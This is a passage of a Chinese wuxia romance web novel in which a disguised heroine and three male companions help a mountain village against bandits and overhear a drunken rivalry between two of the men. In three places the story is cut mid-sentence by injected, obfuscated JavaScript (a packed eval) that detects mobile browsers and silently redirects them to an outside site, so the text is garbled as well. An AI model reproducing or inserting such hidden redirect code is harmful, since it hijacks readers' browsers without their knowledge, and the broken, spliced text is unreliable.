相对于另外三人性趣缺缺的模样,我顿时来了精神,正襟危坐,露出一副惊慌失措且柔弱可欺的模样,“诸位好汉,为何拦住我们的去路?” 为首一人仔细打量了我们一番,方才缓缓道,“你们从哪里来?又到哪里去?” 这倒是个好问题,这样便可知道我们的身份,若是喷上惹不起的,也好速速撤退。 我于是把说了无数次的故事再次娓娓道来,“我们兄弟四人乃是蜀中人士,世代从文,乃是书香门第。”我指着穆忘尘道,“这是我家大哥,戚朝秦,”指着沈墨白,“二哥,戚暮楚”,又指着何知易,“三哥戚见异,我是排行最小的戚思迁。” 我编出这么些个名字,着实很为自己的文采而感到沾沾自喜——朝秦暮楚,见异思迁。真是个水性杨花的美男世家。 我继续期期艾艾,一只手捂住心口,作西施捧心状道,“我自娘胎里出来便有不足之症,这些年来一直四处求医问药。此番我们兄弟四人便是要前往南疆求医。这么些年来,我的身体也不见起色。因为我一人,一直这样拖累三位哥哥,我真是……”我作势用指尖点了点眼角,“还不如早早去了省的拖累家人……” 这番戏,我演了无数遍,如今更是演的行云流水,令闻者动容见者落泪。以前我怎么没发现演戏原来这般有趣,以后若有机会我定要好好发展一下这方面的兴趣爱好。 沈墨白饰演戚二哥,特别配合得露出一副痛心疾首的表情,“四弟,你别这么说。你活一日我就陪你一日,若是你死了,我黄泉碧落也会随你去的……” 我被沈墨白恶心出一身鸡皮疙瘩,于是一头扑进穆忘尘怀里,肩膀微颤,瑟瑟发抖——其实是乐的。 何知易仰头看天,自言自语,“要下雨了。” 穆忘尘无奈摇头,搂着我拍拍我的后背。似乎在说:演技有进步,以资鼓励。 对面那群人瞬间就“嗡嗡嗡”议论开来。 “我看我们抢点银子便罢了吧,看那小公子身子骨那么差,那么可怜。” “可是我看这四个公子个各个都俊俏得很呐!隔壁的二丫头不是正到许嫁的年纪了嘛…….” “我家侄女也还没配人呢!” “凭什么都得让给你们那些小妮子,我是寡妇就不能再嫁了嘛!” “我瞧着那个大哥最合适!模样好,人也沉稳!最合适做女婿!” “瞧着那个年纪恐怕早就娶亲了吧,那个骑马的老三也好得很,瞧瞧那模样那风度,真是跟个从画里走出来的仙人似的……” “可惜那个老二脸上是个有疤的,老四是个身子不好的…….干脆让他俩走,剩下两个入赘了留在咱村。” 我们四个听力都比一般人好,对面那群人的议论之声自然一个字没漏全听在耳朵里。 何知易依旧是冰山般不为所动,只是眼睛里流露出一丝不耐烦。 沈墨白听到最后,忍不住低低一笑,“没想到这群人,倒是很明事理。我觉得他们这建议,甚好,甚合我意。” 穆忘尘皱着眉看他一眼,转而柔声哄我,“天色不早了,不如我们早早打发了他们赶路吧。” 我忍住脸上的笑意,咳嗽了一声,“嗯……我觉得这些人民风也很是淳朴,大概是有什么原因才会来劫道。既然我们碰上了,何妨管一管闲事?” 我们正说着,为首的那人力排众议,按住那帮如狼似虎想要上前来强女婿的大婶们,扬声道,“你们留下钱财,便走吧!我们也不会为难你们!” 沈墨白唯恐天下不乱,侧头一笑,“我们身上没什么现银,不如把戚大和戚三压给你们。过些日子我们换了现银再来赎人?” 顿时,何知易和穆忘尘同时两束杀人目光,箭一般射过去,恨不得用目光扎死沈人渣。 我咳嗽了两声,作体弱多病状,“那怎么行……我不要大哥和三哥离开我…….不如把你压这儿吧。” 沈墨白一咬嘴唇,脸扭到一边,“我就知道你们都嫌弃我丑!” 何知易默默在一边补刀,“知道就行了,何必说出来。” 最有良心的穆忘尘深深叹了一口气,对着对面一干人等道,“诸位,我们兄弟几人在蜀中也是名门大族。诸位有困难,不如告知于我们,若是我们能够帮助各位,定当尽力相助。若是无能为力,我们便奉上银两。如何?” 对面那群人商量了一会儿,觉得这个提议对他们来说有益无害,所以便接受了穆忘尘的建议。 此处乃是蜀中与滇南的交界处。这个山村名为赵家村,居民世代都是以采集山参为生。赵家村毗邻曲靖城,往曲靖城只有一条道路。然而近月来,一伙不知道打哪来的武装分子占领了那条道路,并且时不时就到赵家村打秋风。若是交不上来银钱,对方就威胁说要抢了村子里的姑娘和汉子拿去卖了换钱。可是道路被截,赵家村众人又无法去卖参,只好出此下策前来拦路抢劫…… 穆忘尘立刻表示,这点小事,本大爷打个喷嚏就能解决了,你们就妥妥等着瞧好吧。 此时天阴欲雨,我们便随着姓赵的一帮老老少少回了村子。安置下来不多时,便乌云密布,天降骤雨。一时间风声鹤唳,雷雨交加。 从前我和沈墨白浪迹江湖那会儿,什么茅草棚墙头下,幕天席地草行露宿,什么鬼地方都住过,什么乱七八糟的东西都抓来吃过,故而,当我看到一座座简易朴素的砖瓦茅草混合房时,表示非常淡定。穆忘尘看了之后却直皱眉,塞给赵村长大把银钱,语重心长得告诉人家,我们家老幺身子骨弱受不了苦,有什么好吃好喝好住的通通拿出来吧。也不知道穆忘尘塞的银票是多大面额的,搞得人家老头子面红心跳很不好意思,差点没开了祠堂给我们住。 最后,我们直接霸占了村长家的小院。由于房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349902|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间十分有限,我决定和穆忘尘挤一张床。沈墨白和何知易挤一张。令我非常诧异的是,竟然没有一个人有异议!话说你们好歹也反抗一下啊!这样心平气和的接受让本座很没有成就感耶! 村长家的媳妇小金氏去了条老参给我炖了盆鸡汤。她晃晃悠悠把鸡汤端上桌的时候,一抬头看到我们,她的目光从温文尔雅的穆忘尘身上转到默不作声的何知易身上,那脸红得简直像中了毒似的。 小金估计这辈子也没一次见着如此多的帅哥,害羞得直揪衣摆,“我们这儿是山里,一下雨天就阴冷的很。你们,喝点汤,暖暖身子吧……” 何知易的目光一直盯着那碗汤,闻言,直接走过去掀开盖子然后把银针插了进去。验了半天还不放心,舀了一勺亲自尝过之后才点头,“这汤没问题。” 小金同志顿时吃了一惊抬头看何知易。脸色一半是红一半是白,更加像中了什么奇毒了。 正在尴尬时,村长的老婆李氏李老太太来了。这老太太放在在路上就和村长掐得起劲,卯足了劲想留下个帅哥弄回家当女婿。 我抬眼看了看她,发现李老太太换了身衣服,头上插了朵鲜花,脸上还擦了胭脂。怎么看都有一种媒婆的既视感。 “我刚才又弄了几个小菜来,都是些粗陋的东西,贵客们可别嫌弃。”李老太太说着,端上来一盘鸡肉蘑菇,一盘黄瓜丝。 “怎么会,”我弱弱一笑,“若不是诸位热心,这天下着这么大的雨,我们几人还不知该如何是好呢。” 小金氏忽然插嘴,“说起来,戚二哥怎么不在?” 沈墨白神出鬼没惯了,我也不甚在意,随口道,“不用在意他,他这么大个人,总不会饿着自己。” 话没说了两句,李老太太就有些沉不住气了,“不知道戚三哥可曾定亲?” 这话问的倒是直白。李老太太一脸期待看着何知易。可惜冰山一直如临大敌盯着那两盘没验过的菜,压根视她为无物。 李老太太见他不理,觉得此人傲慢,又觉得我特别平易近人好对付,于是不死心得问我,“那四哥呢?四哥可订了哪家的小姐了?” 我装作不好意思得摇头,“三位哥哥都未曾娶亲,怎么轮得到我?” 听此一言,李老太太顿时满眼放光,看着我们那眼神仿佛是看着一百两银锭子一般饱含深情。 我轻轻咳嗽了一声,继续道,“哥哥们不娶妻也都是我不好,他们总是陪着我常年在外,怕耽误了人家姑娘的大好青春。” 李老太太立马虚情假意露出惋惜的神态,“那也真是不容易,这么大岁数了还一个人,那可不寂寞么!” 我立刻温婉笑曰,“这您倒是不用操心。虽然是没有妻室,但我家的哥哥们红颜知己倒是不少的。说我这位大哥吧……”我说着,眯起眼睛笑得像个狐狸似的看着穆忘尘,“我这个哥哥最喜欢照顾人了,所以见到年纪小的姑娘总免不了‘照顾’一番。我们那儿有个‘峨眉’的地方,里头全是年纪轻轻貌美如花的单身姑娘家。‘峨眉’里所有的姑娘都把大哥当成梦中情人呢,每次我们一去就‘穆哥哥’长‘穆哥哥’短的。” 李老太太闻言,脸色变了变。看来是没想到穆忘尘长了张清心寡欲的脸,却是个百花丛中过的主。 穆忘尘闻言,脸色也变了变,略显慌乱道,“不是那样的……我真的只把秦姑娘当妹妹……” 他这一解释,连一旁兴趣缺缺的何知易和抬起头来看他。 穆忘尘郁卒。 “那,那戚二哥呢?”小金氏突然插嘴。 我看了她一眼,没想到这姑娘看上去柔柔弱弱的,倒是喜欢狂放型的刀疤男? “哦,他啊,”我眨眨眼睛,纯洁状看天,“二哥他其实人挺好的,就是人品有点问题。总是流连青楼妓馆什么的。他其实自小就定了娃娃亲,但是不知为什么,他就是不愿娶那姑娘。那姑娘也是个脾气爆的,把招惹了二哥的那些个莺莺燕燕们一个个都……” 我说到这里,突然有一种非常异样的感觉。 我突然想起颜静行看我的眼神。不管我是小白,还是白玉蛟,甚至是十四的时候,她都在用同一种眼神看着我。那眼神先前我没觉得怎样,现在想来却有种毛骨悚然的感觉。 之前我一直将颜静行看做个被宠坏了的小姑娘,并未怎么注意过她。难道……她早就看透了我的身份?难道她一直都在暗中对付我?我这次中了五毒教的蛊毒,上回在峨眉城外被凤栖梧堵截,包括很久以前在武林盟突然从小白的状态恢复成白玉蛟差点丧命…….难道,这一切都是颜静行做的?不会吧……她才十八吧?若是一直以来我真的是栽在这么个小丫头手里,那也太贻笑大方了吧? 小金氏见我突然陷入沉思,而且神色越来越阴郁,以为我是想到了什么可怕的事情。于是对我留下的那一串省略号进行了一番脑补。脑补过度之后,也是脸色煞白。 李老太太见状,只好再次把目标锁定在何知易身上。 何知易眼皮抬也没抬,雕塑似的坐着不动,直接扔了个直球出来,“我对女人不感兴趣。”我知道何知易是说此时正是我师傅生死存亡,我大镜花宫内忧外患之时,本少爷哪有心情动那些乱七八糟的心思。 但是这话听在另外那两位耳朵里,就有点旁的意思了。 李老太太干笑了一声,“那,那四少爷,你……” 我特别暧昧得看了一眼何知易,缓缓扇了扇睫毛,“人家也对女人不感兴趣呢……” 众人齐齐打了个哆嗦。 67. 男1和男N的午夜问答 和穆忘尘一个屋子的好处就是什么事都不用操心,饭来张口衣来伸手。他会照顾人这点比从前做暗卫时更是有过之而无不及。 我打了个呵欠,他便把洗澡水备,好顺便还会放好皂角,浴巾和换洗衣物,鞋袜;沐浴完毕之后钻进被窝,便发现床已经被贴心得暖好;等我爬上床就立即端来何知易熬好的药…….这一点比较讨厌。 我一闻那苦药,一阵头晕恶心。穆忘尘知道我不爱喝药的脾性,连哄带抱一阵骗才把一碗都给我灌下去,灌完之后塞一颗蜜饯端一杯漱口水在一旁候着。 作为武林盟副盟主,我不得不承认,穆少爷这伺候人的技术简直令人叹为观止,难怪短短时间内穆少爷就爬上了江湖最多金宜嫁好男人的榜首。 我在床上翻了第十五次身之后,穆忘尘看不下去了。他半撑起身体,一只手圈住我,手指轻轻摩挲我的耳朵,“睡不着?” 黑暗中他的声音低哑温柔,我感觉到他说话时温热的气息。 于是,我本就没几分睡意的脑袋瞬间更加清醒了。 话说.......难道是我想多了么?怎么总觉得穆少爷似乎在暗示点啥…….?难道,莫非,这是要和我做点什么有助于睡眠的活动的节奏? 我正皱着眉头暗自忖度,就听头顶上穆忘尘声响起来,“是饿了吗?我去给你弄点夜宵?” 我无语。 那一瞬间,我突然不合时宜得想:穆忘尘一定会是个闺女的好爹爹。 于是我低声一笑,“其实呢,是这几日我睡马车睡惯了,如今睡在这床上,不晃悠反倒是睡不着了。哎,这可怎么办呢?你说怎么才能让这床像马车似的晃悠起来呢?” 穆忘尘:“那,我抱着你睡?” 我脑中立刻浮现爹爹抱闺女睡觉的画面……只是代入了我和穆忘尘的脸之后,不禁一阵全身发抖。 我无语,这么些年过去了,他偶尔脱线这点还是没变啊! 穆忘尘继续建议,“…….那……我们回马车睡?” 我“噗嗤”一笑,坐起来然后拍了拍穆忘尘的肩膀,“你啊,也别太宠我了,我可是会得寸进尺的。” 我说完,披衣起身,“今晚夜色不错,我又没什么睡意,自己出去散个步吧。” 穆忘尘听出我话中的意思是不想他跟着,于是苦笑了一下,拿起披风替我披上,“夜凉风寒,呆个一时半刻便回来吧,否则你若是又病了,何知易该拿我试问了。” 我眉梢一挑,眼角带着一丝促狭的笑意瞥他,“你还怕小知易?” 穆忘尘愣了一下,笑得更加无奈,“我为何要怕他?只不过是看你对所有人都很无所谓,却很是看重他,这才搬出他来压你。” 我无辜眨眼睛,“哪有,普通朋友而已。” 穆忘尘看着我的表情,沉沉叹了口气,抬起手来摸摸我的耳朵,自言自语似的低语,“凤栖梧,何知易,沈墨白……到底还要冒出多少桃红柳绿出来……” 我下意识接话,“自然是越多越好。” 于是,穆少爷郁卒。 ···· 夜极是静。这一夜的月色极是清冷,一地银灰,铺了满地。 我顺着洒满银辉的小院慢慢踱着步,非常严肃在思考着到底要不要在如此夜黑风高杀人夜,独自一个人去那个黑灯瞎火设备简陋的茅房……. 忽然,一声泠泠的萧声穿破厚重的夜幕。 吓得我不禁打了个冷颤…… 那声音悠长而空寂,先是一两声,直直刺进人的心底。然后洋洋洒洒铺陈开来。这箫声沉稳,不见汹涌的起承转合抑扬顿挫,却落在人的心底,有一层涩涩的寂寞。 我这人诗词歌赋不懂,琴棋书画不会,对艺术方面的造诣堪堪停留在欣赏东北二人转的水准上。 但是我还是扬起下巴,循着萧声望过去。 因为,顺着那箫声,我闻到了一股醇烈的酒香! 被何知易禁酒已久,本座顿时馋虫大起。我循着香气一路绕过各种猪圈鸡窝狗屋,最后看到不远处祠堂的房顶上,有一个黑色的身影伫立风中。 那黑色的剪影映在夜幕之中,风吹起他的衣摆又落下,仿佛是一只远离尘世的黑色蝴蝶。 我正想着,这货是谁啊?半夜制造噪音不怕被大叔大妈丢臭鞋么? 就见那人放下箫,慵懒的声音穿透夜幕,“不过来一起喝两杯么?” 我心里一惊。 我自从练了刹那芳华第九重,听力和视力都修炼成非人类可以匹敌的程度。照理说,我现在所处的距离不应该有人会察觉到我的存在啊! 我正犹豫着要不要回答,忽然看到另外一个方向,一个白色的身影忽然腾起,水鸟一般优雅轻巧得在黑衣人所在的房顶上。 我看到那白衣人一眼就认出来——咦,这货不是我那宝贝乖徒弟小知易么。 我再定睛一看那个揣着把玉箫很苦情很装逼的黑衣人——咦?这货居然是那个土鳖沈墨白? 我方才压根没料到沈墨白也是如此文艺小青年一只,故而根本没往他身上想这才没认得出来。 沈墨白抓起酒坛,看也不看就丢给何知易。 我心中一阵猫抓——泥煤!要是只有个沈墨白我就可以去蹭酒了!可偏偏管家婆小知易也在!美酒近在眼前求而不得,真真是气煞我也! 我正气恼,忽然听到沈墨白吟诗,“何知易,何知易…..江湖沉浮何知易,众生百态看亦轻。倒是个洒脱的名字。” 当时我就震惊了。没想到沈墨白不仅吹箫吹得有几分功力,竟然还会随口吟诗?真真是个潜在的文艺小青年啊! “我很好奇,”沈墨白端起手边的白玉小酒盏,凑到嘴边,浅浅抿了一口清冽的酒浆,“你心中对白玉蛟,就没有一点恨意?”说到这里,沈墨白嘴角露出一丝笑来,有点讽刺。 我心里暗念:啧啧啧,我就说沈墨白怎么这么好心还请何知易喝酒,原来是来找茬的。 何知易沉默地坐在屋脊上,并没有任何情绪,反倒显得有些心不在焉。他撕开酒坛的封泥,端起酒坛便豪饮了一口。 我顿时心里很是不爽——沈墨白这人渣居然教坏小盆友!我家小何可是素来烟酒不沾,吃喝嫖赌样样不碰的乖孩子!你竟然诱导我乖徒弟酗酒! 沈墨白继续道,“云上山庄之事虽是凤栖梧所为,但也不是与白玉蛟并无干系。若不是她,你也不会被卷入她与凤栖梧的纷争之中。更何况,后来她收你为徒,多少也是蓄意要你报复她……” 何知易一口气喝掉了半坛,才放下手里的酒坛。“你想说什么?” “没什么,只是问问。”渣白装纯良似的微微一笑。 我心里咯噔了一声。不知何知易看没看出来,我反正看出来了——沈渣渣他一直不爽何知易,故而,也不想让何知易过得顺心,总得提起点刺心的往事来恶心恶心他。 何知易闻言,把头抬起来,抬手擦了擦下巴上沾着的酒水,然后看了一眼沈墨白,眼神里倒是没有什么愤怒。何知易抬头看着天空,“我没资格怨恨她。如今我所做的一切,只是尽可能弥补所犯的过错。” 沈墨白笑了笑,“这么说,你是大人有大量,既往不咎了?” 沈墨白放下手中的酒盏,眼角带着一抹威胁,“但是我这人,非常的小心眼。谁得罪了我,我便会百倍千倍得让他偿还回来。你伤了白玉蛟,害她散功,害她落到如今众叛亲离的地步。她虽然不怨你,我却咽不下这口气。” 何知易冷着一张冰山脸,薄薄的唇一张一阖,吐出几个字来,“你咽不咽气,跟我无关。” 言下之意——你想掐架尽管来,你又打不过我。 何知易外表无害,其实每次说话都直戳人家痛处,攻击力十足。这一点我早就领教到了。 不过得益于厚脸皮,沈墨白的防御力也颇高,他眯起眼睛一笑,“话不能这么说,既然你想赎罪,那我替白玉蛟出一口气如何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349903|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 何知易皱了一下眉头,“你有这个资格么?” 我囧了一下。我本以为贤妻良母小知易应该大人有大量不理会沈墨白,可是何知易这话挑衅十足。今天为毛小知易火气也这么大?难道是喝了酒的原因?这两人完全是针尖对麦芒,竟然杠上了 “呵……”沈墨白这次动了气,他轻笑一声,站起来,背对着月光。他指尖一弹,长剑跃出剑鞘三分,“我没资格?你可知我和白玉蛟相识多久?” “再久恐怕也久不过顾染织,久不过穆忘尘。”何知易面无表情,真真是口舌如刀。这下皮厚如沈墨白,也略有点招架不住。 沈墨白闻言,却是微微一怔,苦笑了一下,整个人显露出几分颓然,“是。没错。可是有关她的一切我都清楚,顾染织与穆忘尘不知道的一切我都知道。我知道她在想什么,她想要什么。我甚至比她自己更加了解她。” 何知易沉默了一瞬间,继续戳沈墨白痛处,“那又如何?你沈墨白,一介正道武林盟主,又为玉宇琼楼的少主,作为她的对头,这些年你又为她做过什么?” 沈墨白闻言,反问了一声,“我为她做过什么?”随即倏然收了剑,大笑了三声。他端起酒碗,仰头饮尽一杯。我突然发现他身后歪歪扭扭横七竖八躺了许多空酒坛。这才想到,这货从刚才开始就对月吹箫,吟诗作对,举止怪异。该不会是……喝醉了吧?! 沈墨白扔下酒坛,步伐踉跄了一下又弯腰拎起一坛酒来,自嘲得冷笑了一声,“你可知道我为了她,阻止过多少次武林盟的围剿,拦截过多少次玉宇琼楼的暗杀。我为了她和玉宇琼楼闹翻,众叛亲离。为了她受伤,为了她中毒,为了她毁容。为了不让她伤心,我替冷将息背了多少黑锅。是啊,你不知道。她也不知道……”沈墨白说着,突然扔下手里的剑,那把绝世名剑被如同弃履一般仍在一边,“即便她知道了,也不在乎。你看,我就像这把剑一般……” 我闻言,却是胸口微微一紧,愣了一下。 沈墨白在屋脊上坐下,又丢给何知易一坛酒,笑道,“其实,我说是为了她,又何尝不是为了我自己?我做这一切不让她知道,心里总是期望,若有一天她能认真看看我,看看我这些年待她如何。” 他笑着,却笑得比哭还难看。 二人无语,各自喝着各自的酒。 “姓何的,”沈墨白又撕开一坛酒的封泥,给自己斟满一碗,喝掉,“你猜,此时白玉蛟和那姓穆的男人在做什么?” 何知易仰头喝酒,不作回答。似乎是对这个男人之间争风吃醋的话题不怎么感兴趣。 “我有时候真是羡慕你与穆忘尘……”忽然,沈墨白突兀问道,“白玉蛟这人,对于自己亏欠,自己心怀愧疚的人,总是无意识的好得过了头。对冷将息是如此,穆忘尘是如此,你也是如此。现在,还要再加上个顾染织。” 他嘴角漾起一丝嘲讽的笑意,仰头望了望悬在正空的那轮银月,无不感慨道,“只有我,只有我是欠她的,注定一辈子还不清。” 何知易默默无语当沈墨白的树洞,依旧是面无表情喝他的酒,一坛酒,眼见就被他喝得快要见底。 “本来,我以为,如果没有冷将息,没有穆忘尘,她便会选择我……现在想来,她大抵是不会选择任何人。说起来,顾染织真是个决然又聪明的人。” 他语落,何知易的神色却出现了略微的波动,大约是回想起那一日在修罗狱底面对顾染织的一幕。 “我本以为你是聪明人。”他忽然开口,带着一丝丝淡淡的感叹。 沈墨白抬头,定定看着那个素来冷漠的男人,眼神中流露出一丝若有所思。 “你也是个傻的。”何知易说到这里,戛然而止。他又捧起一个酒坛,直接一口气灌了下去。酒浸湿了他的衣襟,他也恍若未闻。 “我醉了。告辞。” 何知易说完,将空空的酒坛随便一丢,脚下几个起落,便消失在了夜色中。 68. 毒舌是一种没得治的病 前一日失眠到半夜,于是第二日我起床的时候已是正午时分。 我打着呵欠换好衣服摇摇晃晃走出房间。一出门,就看到三个披头散发的魁梧壮汉被捆了个结实,扔在园子里暴晒。 我正要走过去一看究竟,被一旁冒出来的何知易抬起一只手拦住了,“太脏,还是莫要靠近了。” 何知易用“脏”这一字来形容人,还真是颇为颐指气使居高临下。 我悠然一笑,“这些是什么人?” “打劫赵家村的山贼。”何知易简单解释道,“穆忘尘一早去探路,顺便捆了这三个头目。” “甚好甚好,我正有些饿了,不如趁着用餐之余审一审这些家伙。” 我话音刚落,却听到何知易面无表情,用闲话家常的口吻道,“用得着审么?直接杀了不是方便。” 一听此话,院子里躺着的三个人齐齐如风中落叶一般抖作一团。 我顿时一惊——我家那个贤惠纯良的小知易呢?! 但是回头一想,何知易遭逢灭族之祸,又在镜花宫中面对过无数明争暗斗,也曾在修罗狱中试炼多日,如今能够和凤栖梧分庭抗礼。他所经历的腥风血雨,已经不比当年的我要少,早已不是当年那个单纯的少年。只是我从未见过他杀人,从未见过他这双手上沾染鲜血,于是一直以来便多少有些自欺欺人得以为,他还是一如当初那个墙角下给我蜜饯的少年。 我想了想,摸着下巴沉吟道,“我今日翻了翻黄历,似乎是不宜杀生见血。” 何知易闻言忽而抬头看了我一眼,目光和我交错的一瞬间,却飞快得避开了。 “那就依你说……” 何知易在小院的葡萄藤架下面摆了张小桌和一把藤椅,让我在院子里用餐。初夏的艳阳很是灿烂,落了满院晃人眼花的光线。葡萄藤架下倒是一片阴凉,我端着一把折扇,一下一下小风扇得很是悠哉。 何知易端菜上桌。我耷眼看了一眼桌上的菜色——红烧肉,红烧鱼头,红烧肘子——满桌大鱼大肉,寻常百姓人家平日里哪吃得到这样的东西。这赵家村还真是下了血本来招待我们。 我扬了扬眉梢,“啧”了两声。其实我只是因为被勾起了酒瘾,有些遗憾没有酒,怎么下菜。 但是何知易似乎是会错了意,以为不和我口味。他非常认真得盯着我从头到脚又从脚道头打量了一番,有点像是自言自语咕哝了一句,“果然比先前更瘦了几分。” 我有点尴尬得抬手掩着唇咳嗽了一声。 何知易回神,站在一旁替我布菜。夹了一大块红烧肉放在我的碗里。 一看便知,小知易没什么伺候人的经验,夹菜的动作惊险刺激,那拿筷子戳肉的架势仿佛是拿着判官笔一般杀气毕露。 我吃了一会儿,放下手里的筷子,指了指不远处仍旧跪在地上的三个人,“把他们拉过来吧。” 何知易又往我碗里堆了一只大猪蹄,“吃得太少了。”说完,才信步走过去,把那三个家伙赶猪似的赶到我面前。 我没办法,只好当着三位土匪头头的面啃光了一只猪蹄,然后抹了抹嘴巴上的油,拿起手边的扇子,“唰”得一声展开,露出疯流不羁的一个邪魅狂狷的笑容,“你们可知我是谁?” 四个人齐刷刷看着我。三个被打成猪头的土匪,外加一个真正风流倜傥的小知易。他们的表情,颇为,有趣。 我本来是想假装成一个这些土匪得罪不起的人,比如说镜花宫少宫主何知易什么的,让这些家伙没胆子再来骚扰村民。但是转念想想,这也不是长久之计,等这些渣渣们回过神来,难保会不会加倍报复社会。更何况就我这德行冒充小知易,那不是给小知易脸上抹黑嘛…… 方才我脑中灵光一闪,想起一个人来。 我仰头高贵冷艳笑了三声,手里扇子上下翻飞,扇得“唰唰”作响,“呵呵呵,我乃是玉树临风胜潘安,一树梨花压海棠的镇西王世子凤栖梧;西施宜笑复宜颦,梧桐还需凤凰栖,江湖第一帅哥凤栖梧就是本少爷我!” 众人:“……” 由于那三个人被点了哑穴,何知易又是个冷场王,现场一阵冷风吹过。 我咳嗽了两声,端好脸上狂拽炫酷的笑容,“你们可知得罪本世子会有何等下场?” 我拿眼神暗示了一下何知易,这次小知易很配合得一抬手,把旁边一块大石头一掌轰了个稀巴烂。 “瞧见了没有?若是你们不听话……”我抖着肩膀阴笑了一阵,“你们的脑袋就和这石头,一个下场。” 于是,苦逼三人组一阵疯狂摇头,鼻涕与眼泪齐飞,无声表达着自己坚定跟着组织走的决心。 我露出一个颇为满意的笑容,“算你们识相。本世子今日心情不错,就大发慈悲地给你们指条明路吧……” 我说完,大手一挥,“来啊,文房四宝伺候,拿笔墨纸砚来。” 唯一在现场伺候的何知易只好当了跑腿的,一阵风似的用轻功飘了个来回。 我拿起纸笔唰唰唰龙飞凤舞写了几行字: “栖梧师弟如晤:多日不见,不知亲近况如何。师姐我此时正在忙着和相好们在各处游山玩水,着实乐不思蜀,没空管你。今日偶遇一众落为草寇的贫苦之人,念及你素来作恶多端,急需多行善举,便将此一干众人托付与你。愿卿早日改过自新重新做人!珍重!勿念!” 我写完之后,拎起纸张左右欣赏了一番本座的墨宝,然后把它塞进信封里,丢到山贼面前,“你们拿着这封信去镇西王府。王府定会收留你们。为我镇西王府做事,总比你们在此做个草寇强了千百倍。以后若是做得好,有你们飞黄腾达之日。你们说,是吧?” 面前三人面面相觑,随后小鸡啄米一般飞快点头。 想想凤栖梧见到信时的表情,我忍不住摸着下巴露出一个腹黑的笑容。至于这几个人会被凤栖梧怎么折腾,那就不是本公子的事了。 我心情愉悦满意拍了拍手,“好了,滚吧。” 何知易立马隔空点穴,轰走了三人。 ···· 解决了这茬子破事,我突然想起来怎么不见了另外两只。 “大哥和二哥呢?” 何知易愣了一下,才意识到我说的是沈墨白和穆忘尘。 “昨日暴雨,前方山路有处塌方阻挡了去路,他们一早便和村民前去清理道路了。” 我一想到要让这两位风神俊秀的武林盟主和副盟主,竟落得去当筑路工人搬石头的地步,不免心有戚戚焉,“也不知道他们吃饭了没有……不如你送俩馒头过去?” 何知易沉默得看了我三秒,然后慢吞吞说,“你不用费心了,全村十岁以上六十岁以下的妇女全数出动去送饭了。” 我遥想那般壮阔景象,想到沈墨白和穆忘尘被淹没在各种馒头稀饭和穿红戴绿的野生妹子大妈中间,不禁倒抽一口冷气,感慨道,“好像很有趣耶.......” 面无表情的何知易眼中,闪过一抹兔死狐悲的同情之意。 我于是拖着下巴冲他暧昧一笑,“不如,你也去帮帮忙?” 何知易又是看了我足足三秒,“我去熬药。” 后来,我发现那天的药比平日里苦了不少…….从此,我痛下决心,再也不调戏何知易了…… ···· 傍晚时分,我们一行“兄弟”四人重新上路。 下午我日子过得太闲,于是就拖着小金氏教我用苇草编东西。 这一路上行车无聊,我就坐在车辕上攥着苇草编了些小物。说来惭愧,本座三十年来舞刀弄枪,姑娘家应当拿手的女红阵线一个都做不来。 曾经我一度很是崇拜一本名为《笑傲江湖》的话本字里头的反派魔教教主东方不败。人家不仅名字起得霸气,而且拿着飞针也可杀人于无形,把刺绣这一兴趣爱好发展到如此炉火纯青的地步,实在让人羡慕嫉妒恨。 由于对于东方教主有着滔滔不绝的憧憬之情,我也曾经废寝忘食努力练习过几日刺绣,结果最后那国手无双的刺绣师傅痛哭流涕跪在我面前,声泪俱下求我别学了,说是别再折磨她这把老骨头了……. 于是,刺绣之事只能作罢。 由此可见,我与“心灵手巧”这四个字是完全沾不上边的。 折腾了一路,我们停车休息安营扎寨之时,我编好了一个长得很像老鼠的兔子递给何知易。不好好讨好这位徒弟,我就怕我下一顿的汤药里头又要多几两黄连。 何知易看着我递过去的草兔子,很珍视得拿在手里,斟酌了半天才道,“挺好的,挺像的。” 被夸奖了本座自然很开心,又把先前编的草蜻蜓拿出来递给穆忘尘。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349904|183548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >穆忘尘略微有点吃惊,拿过那只蜻蜓的时候我看到他的耳朵都红了。 我说你们至于么,难道本座是十分小气的人?!先前送了你们好些个绝世名剑,香车宝马豪宅什么的,也不见你们如此高兴啊! 然后,我听到穆忘尘说,“谢谢你,我很喜欢这个蚱蜢。” 我抬起眼皮看着穆忘尘,嘴巴张了张又闭上了,欲言又止。 穆忘尘看我神色如此,于是认真思忖了一会儿我到底在想什么。 然后,穆公子就脱线得想偏了,腼腆笑着加了一句,“刚才那只小松鼠也很是可爱。” 于是,我嘴角抽了抽,笑容更加扭曲了一分。 何知易瞥了一眼我的神色,又仔细捧着手里的东西瞧了瞧,半晌后,忽然认真道,“你错了,这是包子。” 